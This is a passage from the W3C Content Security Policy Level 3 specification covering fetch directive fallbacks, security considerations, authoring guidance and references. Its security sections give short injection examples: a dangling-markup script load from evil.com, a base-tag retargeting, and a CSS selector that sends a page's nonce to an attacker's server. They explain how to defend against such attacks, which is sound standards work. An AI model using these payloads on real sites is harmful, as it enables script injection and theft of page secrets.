Note: While the effective directive is only defined for requests, in this algorithm it is used similarly to mean the directive that is most relevant to a particular type of inline check.

  1. Switch on type:

    "script"
    "navigation"

    1. Return script-src-elem.

    "script attribute"

    1. Return script-src-attr.

    "style"

    1. Return style-src-elem.

    "style attribute"

    1. Return style-src-attr.

  2. Return null.

6.8.3. Get fetch directive fallback list

Will return an ordered set of the fallback directives for a specific directive. The returned ordered set is sorted from most relevant to least relevant and it includes the effective directive itself.

Given a string directive name:

  1. Switch on directive name:

    "script-src-elem"

    1. Return << "script-src-elem", "script-src", "default-src" >>.

    "script-src-attr"

    1. Return << "script-src-attr", "script-src", "default-src" >>.

    "style-src-elem"

    1. Return << "style-src-elem", "style-src", "default-src" >>.

    "style-src-attr"

    1. Return << "style-src-attr", "style-src", "default-src" >>.

    "worker-src"

    1. Return << "worker-src", "child-src", "script-src", "default-src" >>.

    "connect-src"

    1. Return << "connect-src", "default-src" >>.

    "manifest-src"

    1. Return << "manifest-src", "default-src" >>.

    "object-src"

    1. Return << "object-src", "default-src" >>.

    "frame-src"

    1. Return << "frame-src", "child-src", "default-src" >>.

    "media-src"

    1. Return << "media-src", "default-src" >>.

    "font-src"

    1. Return << "font-src", "default-src" >>.

    "img-src"

    1. Return << "img-src", "default-src" >>.

  2. Return << >>.

6.8.4. Should fetch directive execute

This algorithm is used for fetch directives to decide whether a directive should execute or defer to a different directive that is better suited. For example: if the effective directive name is worker-src (meaning that we are currently checking a worker request), a default-src directive should not execute if a worker-src or script-src directive exists.

Given a string effective directive name, a string directive name and a policy policy:

  1. Let directive fallback list be the result of executing § 6.8.3 Get fetch directive fallback list on effective directive name.

  2. For each fallback directive of directive fallback list:

    1. If directive name is fallback directive, Return "Yes".

    2. If policy contains a directive whose name is fallback directive, Return "No".

  3. Return "No".

7. Security and Privacy Considerations

7.1. Nonce Reuse

Nonces override the other restrictions present in the directive in which they’re delivered. It is critical, then, that they remain unguessable, as bypassing a resource’s policy is otherwise trivial.

If a server delivers a nonce-source expression as part of a policy, the server MUST generate a unique value each time it transmits a policy. The generated value SHOULD be at least 128 bits long (before encoding), and SHOULD be generated via a cryptographically secure random number generator in order to ensure that the value is difficult for an attacker to predict.

Note: Using a nonce to allow inline script or style is less secure than not using a nonce, as nonces override the restrictions in the directive in which they are present. An attacker who can gain access to the nonce can execute whatever script they like, whenever they like. That said, nonces provide a substantial improvement over 'unsafe-inline' when layering a content security policy on top of old code. When considering 'unsafe-inline', authors are encouraged to consider nonces (or hashes) instead.

7.2. Nonce Hijacking

7.2.1. Dangling markup attacks

Dangling markup attacks such as those discussed in [FILEDESCRIPTOR-2015] can be used to repurpose a page’s legitimate nonces for injections. For example, given an injection point before a script element:

<p>Hello, [INJECTION POINT]</p>
<script nonce=abc src=/good.js></script>

If an attacker injects the string "<script src='https://evil.com/evil.js' ", then the browser will receive the following:

<p>Hello, <script src='https://evil.com/evil.js' </p>
<script nonce=abc src=/good.js></script>

It will then parse that code, ending up with a script element with a src attribute pointing to a malicious payload, an attribute named </p>, an attribute named "<script", a nonce attribute, and a second src attribute which is helpfully discarded as duplicate by the parser.

The § 6.7.3.1 Is element nonceable? algorithm attempts to mitigate this specific attack by walking through script or style element attributes, looking for the string "<script" or "<style" in their names or values.

User-agents must pay particular attention when implementing this algorithm to not ignore duplicate attributes. If an element has a duplicate attribute any instance of the attribute after the first one is ignored but in the § 6.7.3.1 Is element nonceable? algorithm, all attributes including the duplicate ones need to be checked.

Currently the HTML spec’s parsing algorithm removes this information before the § 6.7.3.1 Is element nonceable? algorithm can be run which makes it impossible to actually detect duplicate attributes. [Issue #whatwg/html#3257]

For the following example page:

Hello, [INJECTION POINT]
<script nonce=abc src=/good.js></script>

The following injected string will use a duplicate attribute to attempt to bypass the § 6.7.3.1 Is element nonceable? algorithm check:

Hello, <script src='https://evil.com/evil.js' x="" x=
<script nonce="abcd" src=/good.js></script>

7.2.2. Nonce exfiltration via content attributes

Some attacks on CSP rely on the ability to exfiltrate nonce data via various mechanisms that can read content attributes. CSS selectors are the best example: through clever use of prefix/postfix text matching selectors values can be sent out to an attacker’s server for reuse. Example:

script[nonce=a] { background: url("https://evil.com/nonce?a");}

The nonce section talks about mitigating these types of attacks by hiding the nonce from the element’s content attribute and moving it into an internal slot. This is done to ensure that the nonce value is exposed to scripts but not any other non-script channels.

7.3. Nonce Retargeting

Nonces bypass host-source expressions, enabling developers to load code from any origin. This, generally, is fine, and desirable from the developer’s perspective. However, if an attacker can inject a base element, then an otherwise safe page can be subverted when relative URLs are resolved. That is, on https://example.com/ the following code will load https://example.com/good.js:

<script nonce=abc src=/good.js></script>

However, the following will load https://evil.com/good.js:

<base href="https://evil.com">
<script nonce=abc src=/good.js></script>

To mitigate this risk, it is advisable to set an explicit base element on every page, or to limit the ability of an attacker to inject their own base element by setting a base-uri directive in your page’s policy. For example, base-uri 'none'.

7.4. CSS Parsing

The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "stylesheets" hosted by an otherwise trustworthy origin.

These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009 [CSS-ABUSE]. User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.

7.5. Violation Reports

The violation reporting mechanism in this document has been designed to mitigate the risk that a malicious web site could use violation reports to probe the behavior of other servers. For example, consider a malicious web site that allows https://example.com as a source of images. If the malicious site attempts to load https://example.com/login as an image, and the example.com server redirects to an identity provider (e.g. identityprovider.example.net), CSP will block the request. If violation reports contained the full blocked URL, the violation report might contain sensitive information contained in the redirected URL, such as session identifiers or purported identities. For this reason, the user agent includes only the URL of the original request, not the redirect target.

Note also that violation reports should be considered attacker-controlled data. Developers who wish to collect violation reports in a dashboard or similar service should be careful to properly escape their content before rendering it (and should probably themselves use CSP to further mitigate the risk of injection). This is especially true for the "script-sample" property of violation reports, and the sample property of SecurityPolicyViolationEvent, which are both completely attacker-controlled strings.

7.6. Paths and Redirects

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com example.org/path:

This restriction reduces the granularity of a document’s policy when redirects are in play, a necessary compromise to avoid brute-forced information leaks of this type.

The relatively long thread "Remove paths from CSP?" from public-webappsec@w3.org has more detailed discussion around alternate proposals.

7.7. Secure Upgrades

To mitigate one variant of history-scanning attacks like Yan Zhu’s Sniffly, CSP will not allow pages to lock themselves into insecure URLs via policies like script-src http://example.com. As described in § 6.7.2.9 scheme-part matching, the scheme portion of a source expression will always allow upgrading to a secure variant.

7.8. CSP Inheriting to avoid bypasses

Documents loaded from local schemes will inherit a copy of the policies in the source document. The goal is to ensure that a page can’t bypass its policy by embedding a frame or opening a new window containing content that is entirely under its control (srcdoc documents, blob: or data: URLs, about:blank documents that can be manipulated via document.write(), etc).

If this would not happen a page could execute inline scripts even without unsafe-inline in the page’s execution context by simply embedding a srcdoc iframe. 
<iframe srcdoc="<script>alert(1);</script>"></iframe>

Note that we create a copy of the CSP list which means that the new Document's CSP list is a snapshot of the relevant policies at its creation time. Modifications in the CSP list of the new Document won’t affect the source Document's CSP list or vice-versa.

In the example below the image inside the iframe will not load because it is blocked by the policy in the meta tag of the iframe. The image outside the iframe will load (assuming the main page policy does not block it) since the policy inserted in the iframe will not affect it. 
<iframe srcdoc='<meta http-equiv="Content-Security-Policy" content="img-src example.com;">
                   <img src="not-example.com/image">'></iframe>

<img src="not-example.com/image">

8. Authoring Considerations

8.1. The effect of multiple policies

This section is not normative.

The above sections note that when multiple policies are present, each must be enforced or reported, according to its type. An example will help clarify how that ought to work in practice. The behavior of an XMLHttpRequest might seem unclear given a site that, for whatever reason, delivered the following HTTP headers:

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                         connect-src 'none';
Content-Security-Policy: connect-src http://example.com/;
                         script-src http://example.com/

Is a connection to example.com allowed or not? The short answer is that the connection is not allowed. Enforcing both policies means that a potential connection would have to pass through both unscathed. Even though the second policy would allow this connection, the first policy contains connect-src 'none', so its enforcement blocks the connection. The impact is that adding additional policies to the list of policies to enforce can only further restrict the capabilities of the protected resource.

To demonstrate that further, consider a script tag on this page. The first policy would lock scripts down to 'self', http://example.com and http://example.net via the default-src directive. The second, however, would only allow script from http://example.com/. Script will only load if it meets both policy’s criteria: in this case, the only origin that can match is http://example.com, as both policies allow it.

8.2. Usage of "'strict-dynamic'"

This section is not normative.

Host- and path-based policies are tough to get right, especially on sprawling origins like CDNs. The solutions to Cure53’s H5SC Minichallenge 3: "Sh*t, it’s CSP!" [H5SC3] are good examples of the kinds of bypasses which such policies can enable, and though CSP is capable of mitigating these bypasses via exhaustive declaration of specific resources, those lists end up being brittle, awkward, and difficult to implement and maintain.

The "'strict-dynamic'" source expression aims to make Content Security Policy simpler to deploy for existing applications who have a high degree of confidence in the scripts they load directly, but low confidence in their ability to provide a reasonable list of resources to load up front.

If present in a script-src or default-src directive, it has two main effects:

  1. host-source and scheme-source expressions, as well as the "'unsafe-inline'" and "'self' keyword-sources will be ignored when loading script.

    hash-source and nonce-source expressions will be honored.

  2. Script requests which are triggered by non-"parser-inserted" script elements are allowed.

The first change allows you to deploy "'strict-dynamic'" in a backwards compatible way, without requiring user-agent sniffing: the policy 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic' will act like 'unsafe-inline' https: in browsers that support CSP1, https: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' in browsers that support CSP2, and 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic' in browsers that support CSP3.

The second allows scripts which are given access to the page via nonces or hashes to bring in their dependencies without adding them explicitly to the page’s policy.

Suppose MegaCorp, Inc. deploys the following policy: 
Content-Security-Policy: script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'

And serves the following HTML with that policy active:

...
<script src="https://cdn.example.com/script.js" nonce="DhcnhD3khTMePgXwdayK9BsMqXjhguVV" ></script>
...

This will generate a request for https://cdn.example.com/script.js, which will not be blocked because of the matching nonce attribute.

If script.js contains the following code:

var s = document.createElement('script');
s.src = 'https://othercdn.not-example.net/dependency.js';
document.head.appendChild(s);

document.write('<scr' + 'ipt src="/https/www.w3.org/sadness.js"></scr' + 'ipt>');

dependency.js will load, as the script element created by createElement() is not "parser-inserted".

sadness.js will not load, however, as document.write() produces script elements which are "parser-inserted".

Note: With 'strict-dynamic', scripts created at runtime will be allowed to execute. If the location of such a script can be controlled by an attacker, the policy will then allow the loading of arbitrary scripts. Developers that use 'strict-dynamic' in their policy should audit the uses of non-parser-inserted APIs and ensure that they are not invoked with potentially untrusted data. This includes applications or frameworks that tend to determine script locations at runtime.

8.3. Usage of "'unsafe-hashes'"

This section is not normative.

Legacy websites and websites with legacy dependencies might find it difficult to entirely externalize event handlers. These sites could enable such handlers by allowing 'unsafe-inline', but that’s a big hammer with a lot of associated risk (and cannot be used in conjunction with nonces or hashes).

The "'unsafe-hashes'" source expression aims to make CSP deployment simpler and safer in these situations by allowing developers to enable specific handlers via hashes.

MegaCorp, Inc. can’t quite get rid of the following HTML on anything resembling a reasonable schedule: 
<button id="action" onclick="doSubmit()">

Rather than reducing security by specifying "'unsafe-inline'", they decide to use "'unsafe-hashes'" along with a hash source expression corresponding to doSubmit(), as follows:

Content-Security-Policy:  script-src 'unsafe-hashes' 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='

The capabilities 'unsafe-hashes' provides is useful for legacy sites, but should be avoided for modern sites. In particular, note that hashes allow a particular script to execute, but do not ensure that it executes in the way a developer intends. If an interesting capability is exposed as an inline event handler (say <a onclick="transferAllMyMoney()">Transfer</a>), then that script becomes available for an attacker to inject as <script>transferAllMyMoney()</script>. Developers should be careful to balance the risk of allowing specific scripts to execute against the deployment advantages that allowing inline event handlers might provide.

8.4. Allowing external JavaScript via hashes

This section is not normative.

In [CSP2], hash source expressions could only match inlined script, but now that Subresource Integrity [SRI] is widely deployed, we can expand the scope to enable externalized JavaScript as well.

If multiple sets of integrity metadata are specified for a script, the request will match a policy’s hash-sources if and only if each item in a script's integrity metadata matches the policy.

Note: The CSP spec specifies that the contents of an inline script element or event handler needs to be encoded using UTF-8 encode before computing its hash. [SRI] computes the hash on the raw resource that is being fetched instead. This means that it is possible for the hash needed to allow an inline script block to be different from the hash needed to allow an external script even if they have identical contents.

MegaCorp, Inc. wishes to allow two specific scripts on a page in a way that ensures that the content matches their expectations. They do so by setting the following policy: 
Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba'

In the presence of that policy, the following script elements would be allowed to execute because they contain only integrity metadata that matches the policy:

<script integrity="sha256-abc123" ...></script>
<script integrity="sha512-321cba" ...></script>
<script integrity="sha256-abc123 sha512-321cba" ...></script>

While the following script elements would not execute because they contain valid metadata that does not match the policy (even though other metadata does match):

<script integrity="sha384-xyz789" ...></script>
<script integrity="sha384-xyz789 sha512-321cba" ...></script>
<script integrity="sha256-abc123 sha384-xyz789 sha512-321cba" ...></script>

Metadata that is not recognized (either because it’s entirely invalid, or because it specifies a not-yet-supported hashing algorithm) does not affect the behavior described here. That is, the following elements would be allowed to execute in the presence of the above policy, as the additional metadata is invalid and therefore wouldn’t allow a script whose content wasn’t listed explicitly in the policy to execute:

<script integrity="sha256-abc123 sha1024-abcd" ...></script>
<script integrity="sha512-321cba entirely-invalid" ...></script>
<script integrity="sha256-abc123 not-a-hash-at-all sha512-321cba" ...></script>

8.5. Strict CSP

This section is not normative.

Deployment of an effective CSP against XSS is a challenge (as described in CSP Is Dead, Long Live CSP! [LONG-LIVE-CSP]). However, enforcing the following set of CSP directives has been identified as an effective and deployable mitigation against XSS.

  1. script-src: Only use nonce source-expression and/or hash source-expression with the "'strict-dynamic'" keyword-source.

    Note: While "'strict-dynamic'" allows ease of deployment (as described in § 8.2 Usage of "'strict-dynamic'"), it should be avoided when possible.

    Note: For backwards compatibility, it is recommended to specify https: scheme-source with "'strict-dynamic'".

  2. base-uri: Specify a value of either "'self'" or "'none'".

A CSP that meets the above criteria is called Strict CSP. Further details are discussed in [WEBDEV-STRICTCSP].

The following are examples of Strict CSP:

Nonce-based Strict CSP:

Content-Security-Policy: script-src 'strict-dynamic' 'nonce-{RANDOM}'; base-uri 'self';

Hash-based Strict CSP:

Content-Security-Policy: script-src 'strict-dynamic' 'sha256-{HASHED_INLINE_SCRIPT}'; base-uri 'self';

8.6. Exfiltration

This section is not normative.

Data exfiltration can occur when the contents of the request, such as the URL, contain information about the user or page that should be restricted and not shared.

Content Security Policy can mitigate data exfiltration if used to create allowlists of servers with which a page is allowed to communicate. Note that a policy which lacks the default-src directive cannot mitigate exfiltration, as there are kinds of requests that are not addressable through a more-specific directive (prefetch, for example). [HTML]

In the following example, a policy with draconian restrictions on images, fonts, and scripts can still allow data exfiltration via other request types (fetch(), prefetch, etc): [HTML] 
Content-Security-Policy: img-src 'none'; script-src 'none'; font-src 'none'

Supplementing this policy with default-src 'none' would improve the page’s robustness against this kind of attack.

In the following example, the default-src directive appears to protect from exfiltration, however the img-src directive relaxes this restriction by using a wildcard, which allows data exfiltration to arbitrary endpoints. A policy’s exfiltration mitigation ability depends upon the least-restrictive directive allowlist: 
Content-Security-Policy: default-src 'none'; img-src *

9. Implementation Considerations

9.1. Vendor-specific Extensions and Addons

Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN].

Moreover, applying CSP to these kinds of features produces a substantial amount of noise in violation reports, significantly reducing their value to developers.

Chrome, for example, excludes the chrome-extension: scheme from CSP checks, and does some work to ensure that extension-driven injections are allowed, regardless of a page’s policy.

10. IANA Considerations

10.1. Directive Registry

The Content Security Policy Directive registry should be updated with the following directives and references [RFC7762]:

base-uri

This document (see § 6.3.1 base-uri)

child-src

This document (see § 6.1.1 child-src)

connect-src

This document (see § 6.1.2 connect-src)

default-src

This document (see § 6.1.3 default-src)

font-src

This document (see § 6.1.4 font-src)

form-action

This document (see § 6.4.1 form-action)

frame-ancestors

This document (see § 6.4.2 frame-ancestors)

frame-src

This document (see § 6.1.5 frame-src)

img-src

This document (see § 6.1.6 img-src)

manifest-src

This document (see § 6.1.7 manifest-src)

media-src

This document (see § 6.1.8 media-src)

object-src

This document (see § 6.1.9 object-src)

report-uri

This document (see § 6.5.1 report-uri)

report-to

This document (see § 6.5.2 report-to)

sandbox

This document (see § 6.3.2 sandbox)

script-src

This document (see § 6.1.10 script-src)

script-src-attr

This document (see § 6.1.12 script-src-attr)

script-src-elem

This document (see § 6.1.11 script-src-elem)

style-src

This document (see § 6.1.13 style-src)

style-src-attr

This document (see § 6.1.15 style-src-attr)

style-src-elem

This document (see § 6.1.14 style-src-elem)

worker-src

This document (see § 6.2.2 worker-src)

10.2. Headers

The permanent message header field registry should be updated with the following registrations: [RFC3864]

10.2.1. Content-Security-Policy

Header field name
Content-Security-Policy
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See § 3.1 The Content-Security-Policy HTTP Response Header Field)

10.2.2. Content-Security-Policy-Report-Only

Header field name
Content-Security-Policy-Report-Only
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See § 3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field)

11. Acknowledgements

Lots of people are awesome. For instance:

  • Mario and all of Cure53.

  • Artur Janc, Michele Spagnuolo, Lukas Weichselbaum, Jochen Eisinger, and the rest of Google’s CSP Cabal.

Conformance

Document conventions

Conformance requirements are expressed with a combination of descriptive assertions and RFC 2119 terminology. The key words “MUST”, “MUST NOT”, “REQUIRED”, “SHALL”, “SHALL NOT”, “SHOULD”, “SHOULD NOT”, “RECOMMENDED”, “MAY”, and “OPTIONAL” in the normative parts of this document are to be interpreted as described in RFC 2119. However, for readability, these words do not appear in all uppercase letters in this specification.

All of the text of this specification is normative except sections explicitly marked as non-normative, examples, and notes. [RFC2119]

Examples in this specification are introduced with the words “for example” or are set apart from the normative text with class="example", like this:

This is an example of an informative example.

Informative notes begin with the word “Note” and are set apart from the normative text with class="note", like this:

Note, this is an informative note.

Conformant Algorithms

Requirements phrased in the imperative as part of algorithms (such as "strip any leading space characters" or "return false and abort these steps") are to be interpreted with the meaning of the key word ("must", "should", "may", etc) used in introducing the algorithm.

Conformance requirements phrased as algorithms or specific steps can be implemented in any manner, so long as the end result is equivalent. In particular, the algorithms defined in this specification are intended to be easy to understand and are not intended to be performant. Implementers are encouraged to optimize.

Index

Terms defined by this specification

Terms defined by reference

References

Normative References

[CSP3]
Mike West; Antonio Sartori. Content Security Policy Level 3. 9 September 2024. WD. URL: https://www.w3.org/TR/CSP3/
[CSS-CASCADE-5]
Elika Etemad; Miriam Suzanne; Tab Atkins Jr.. CSS Cascading and Inheritance Level 5. 13 January 2022. CR. URL: https://www.w3.org/TR/css-cascade-5/
[CSSOM]
Daniel Glazman; Emilio Cobos Álvarez. CSS Object Model (CSSOM). 26 August 2021. WD. URL: https://www.w3.org/TR/cssom-1/
[DOM]
Anne van Kesteren. DOM Standard. Living Standard. URL: https://dom.spec.whatwg.org/
[ECMA262]
Brian Terlson; Allen Wirfs-Brock. ECMAScript® Language Specification. URL: https://tc39.github.io/ecma262/
[ENCODING]
Anne van Kesteren. Encoding Standard. Living Standard. URL: https://encoding.spec.whatwg.org/
[FETCH]
Anne van Kesteren. Fetch Standard. Living Standard. URL: https://fetch.spec.whatwg.org/
[HTML]
Anne van Kesteren; et al. HTML Standard. Living Standard. URL: https://html.spec.whatwg.org/multipage/
[INFRA]
Anne van Kesteren; Domenic Denicola. Infra Standard. Living Standard. URL: https://infra.spec.whatwg.org/
[REPORTING]
Ilya Gregorik; Mike West. Reporting API. URL: https://wicg.github.io/reporting/
[REPORTING-1]
Douglas Creager; Ian Clelland; Mike West. Reporting API. 13 August 2024. WD. URL: https://www.w3.org/TR/reporting-1/
[RFC2119]
S. Bradner. Key words for use in RFCs to Indicate Requirement Levels. March 1997. Best Current Practice. URL: https://datatracker.ietf.org/doc/html/rfc2119
[RFC3492]
A. Costello. Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA). March 2003. Proposed Standard. URL: https://www.rfc-editor.org/rfc/rfc3492
[RFC3864]
G. Klyne; M. Nottingham; J. Mogul. Registration Procedures for Message Header Fields. September 2004. Best Current Practice. URL: https://www.rfc-editor.org/rfc/rfc3864
[RFC3986]
T. Berners-Lee; R. Fielding; L. Masinter. Uniform Resource Identifier (URI): Generic Syntax. January 2005. Internet Standard. URL: https://www.rfc-editor.org/rfc/rfc3986
[RFC4648]
S. Josefsson. The Base16, Base32, and Base64 Data Encodings. October 2006. Proposed Standard. URL: https://www.rfc-editor.org/rfc/rfc4648
[RFC5234]
D. Crocker, Ed.; P. Overell. Augmented BNF for Syntax Specifications: ABNF. January 2008. Internet Standard. URL: https://www.rfc-editor.org/rfc/rfc5234
[RFC7762]
M. West. Initial Assignment for the Content Security Policy Directives Registry. January 2016. Informational. URL: https://www.rfc-editor.org/rfc/rfc7762
[RFC8288]
M. Nottingham. Web Linking. October 2017. Proposed Standard. URL: https://httpwg.org/specs/rfc8288.html
[RFC9110]
R. Fielding, Ed.; M. Nottingham, Ed.; J. Reschke, Ed.. HTTP Semantics. June 2022. Internet Standard. URL: https://httpwg.org/specs/rfc9110.html
[SERVICE-WORKERS]
Jake Archibald; Marijn Kruisselbrink. Service Workers. 12 July 2022. CR. URL: https://www.w3.org/TR/service-workers/
[SRI]
Devdatta Akhawe; et al. Subresource Integrity. 23 June 2016. REC. URL: https://www.w3.org/TR/SRI/
[TRUSTED-TYPES]
Krzysztof Kotowicz. Trusted Types. 10 September 2024. WD. URL: https://www.w3.org/TR/trusted-types/
[URL]
Anne van Kesteren. URL Standard. Living Standard. URL: https://url.spec.whatwg.org/
[WEBIDL]
Edgar Chen; Timothy Gu. Web IDL Standard. Living Standard. URL: https://webidl.spec.whatwg.org/
[WEBRTC]
Cullen Jennings; et al. WebRTC: Real-Time Communication in Browsers. 8 October 2024. REC. URL: https://www.w3.org/TR/webrtc/

Informative References

[APPMANIFEST]
Marcos Caceres; et al. Web Application Manifest. 11 October 2024. WD. URL: https://www.w3.org/TR/appmanifest/
[BEACON]
Ilya Grigorik; Alois Reitbauer. Beacon. 3 August 2022. CR. URL: https://www.w3.org/TR/beacon/
[CSP2]
Mike West; Adam Barth; Daniel Veditz. Content Security Policy Level 2. 15 December 2016. REC. URL: https://www.w3.org/TR/CSP2/
[CSS-ABUSE]
Chris Evans. Generic cross-browser cross-domain theft. 28 December 2009. URL: https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html
[EVENTSOURCE]
Ian Hickson. Server-Sent Events. 28 January 2021. REC. URL: https://www.w3.org/TR/eventsource/
[FILEDESCRIPTOR-2015]
filedescriptor. CSP 2015. 23 November 2015. URL: https://blog.innerht.ml/csp-2015/#danglingmarkupinjection
[H5SC3]
Mario Heiderich. H5SC Minichallenge 3: "Sh*t, it's CSP!". URL: https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22
[HTML-DESIGN]
Anne Van Kesteren; Maciej Stachowiak. HTML Design Principles. URL: https://www.w3.org/TR/html-design-principles/
[LONG-LIVE-CSP]
Lukas Weichselbaum; et al. CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy. 24 October 2016. URL: https://dl.acm.org/doi/10.1145/2976749.2978363
[MIX]
Emily Stark; Mike West; Carlos IbarraLopez. Mixed Content. 23 February 2023. CR. URL: https://www.w3.org/TR/mixed-content/
[TIMING]
Paul Stone. Pixel Perfect Timing Attacks. URL: https://owasp.org/www-pdf-archive/HackPra_Allstars-Browser_Timing_Attacks_-_Paul_Stone.pdf
[UISECURITY]
Brad Hill. User Interface Security and the Visibility API. 7 June 2016. WD. URL: https://www.w3.org/TR/UISecurity/
[UPGRADE-INSECURE-REQUESTS]
Mike West. Upgrade Insecure Requests. 8 October 2015. CR. URL: https://www.w3.org/TR/upgrade-insecure-requests/
[WEBDEV-STRICTCSP]
Lukas Weichselbaum. Mitigate cross-site scripting (XSS) with a strict Content Security Policy (CSP). 15 March 2021. URL: https://web.dev/strict-csp/
[WEBSOCKETS]
Adam Rice. WebSockets Standard. Living Standard. URL: https://websockets.spec.whatwg.org/
[XHR]
Anne van Kesteren. XMLHttpRequest Standard. Living Standard. URL: https://xhr.spec.whatwg.org/
[XSLT]
James Clark. XSL Transformations (XSLT) Version 1.0. 16 November 1999. REC. URL: https://www.w3.org/TR/xslt-10/

IDL Index

[Exposed=Window]
interface CSPViolationReportBody : ReportBody {
  [Default] object toJSON();
  readonly attribute USVString documentURL;
  readonly attribute USVString? referrer;
  readonly attribute USVString? blockedURL;
  readonly attribute DOMString effectiveDirective;
  readonly attribute DOMString originalPolicy;
  readonly attribute USVString? sourceFile;
  readonly attribute DOMString? sample;
  readonly attribute SecurityPolicyViolationEventDisposition disposition;
  readonly attribute unsigned short statusCode;
  readonly attribute unsigned long? lineNumber;
  readonly attribute unsigned long? columnNumber;
};

enum SecurityPolicyViolationEventDisposition {
  "enforce", "report"
};

[Exposed=(Window,Worker)]
interface SecurityPolicyViolationEvent : Event {
    constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
    readonly    attribute USVString      documentURI;
    readonly    attribute USVString      referrer;
    readonly    attribute USVString      blockedURI;
    readonly    attribute DOMString      effectiveDirective;
    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
    readonly    attribute DOMString      originalPolicy;
    readonly    attribute USVString      sourceFile;
    readonly    attribute DOMString      sample;
    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    readonly    attribute unsigned short statusCode;
    readonly    attribute unsigned long  lineNumber;
    readonly    attribute unsigned long  columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    USVString      documentURI = "";
    USVString      referrer = "";
    USVString      blockedURI = "";
    DOMString      violatedDirective = "";
    DOMString      effectiveDirective = "";
    DOMString      originalPolicy = "";
    USVString      sourceFile = "";
    DOMString      sample = "";
    SecurityPolicyViolationEventDisposition disposition = "enforce";
    unsigned short statusCode = 0;
    unsigned long  lineNumber = 0;
    unsigned long  columnNumber = 0;
};

Issues Index

Is this kind of thing specified anywhere? I didn’t see anything that looked useful in [ECMA262]. ↵
How, exactly, do we get the status code? We don’t actually store it anywhere. ↵
Stylesheet loading is not yet integrated with Fetch in WHATWG’s HTML. [Issue #whatwg/html#968] ↵
This needs to be better explained. [Issue #w3c/webappsec-csp#212] ↵
Do something interesting to the execution context in order to lock down interesting CSSOM algorithms. I don’t think CSSOM gives us any hooks here, so let’s work with them to put something reasonable together. ↵
We need some sort of hook in HTML to record this error if we’re planning on using it here. [Issue #whatwg/html#3257] ↵
This processing is meant to mitigate the risk of dangling markup attacks that steal the nonce from an existing element in order to load injected script. It is fairly expensive, however, as it requires that we walk through all attributes and their values in order to determine whether the script should execute. Here, we try to minimize the impact by doing this check only for script elements when a nonce is present, but we should probably consider this algorithm as "at risk" until we know its impact. [Issue #w3c/webappsec-csp#98] ↵
This should handle 'strict-dynamic' for dynamically inserted inline scripts. [Issue #w3c/webappsec-csp#426] ↵
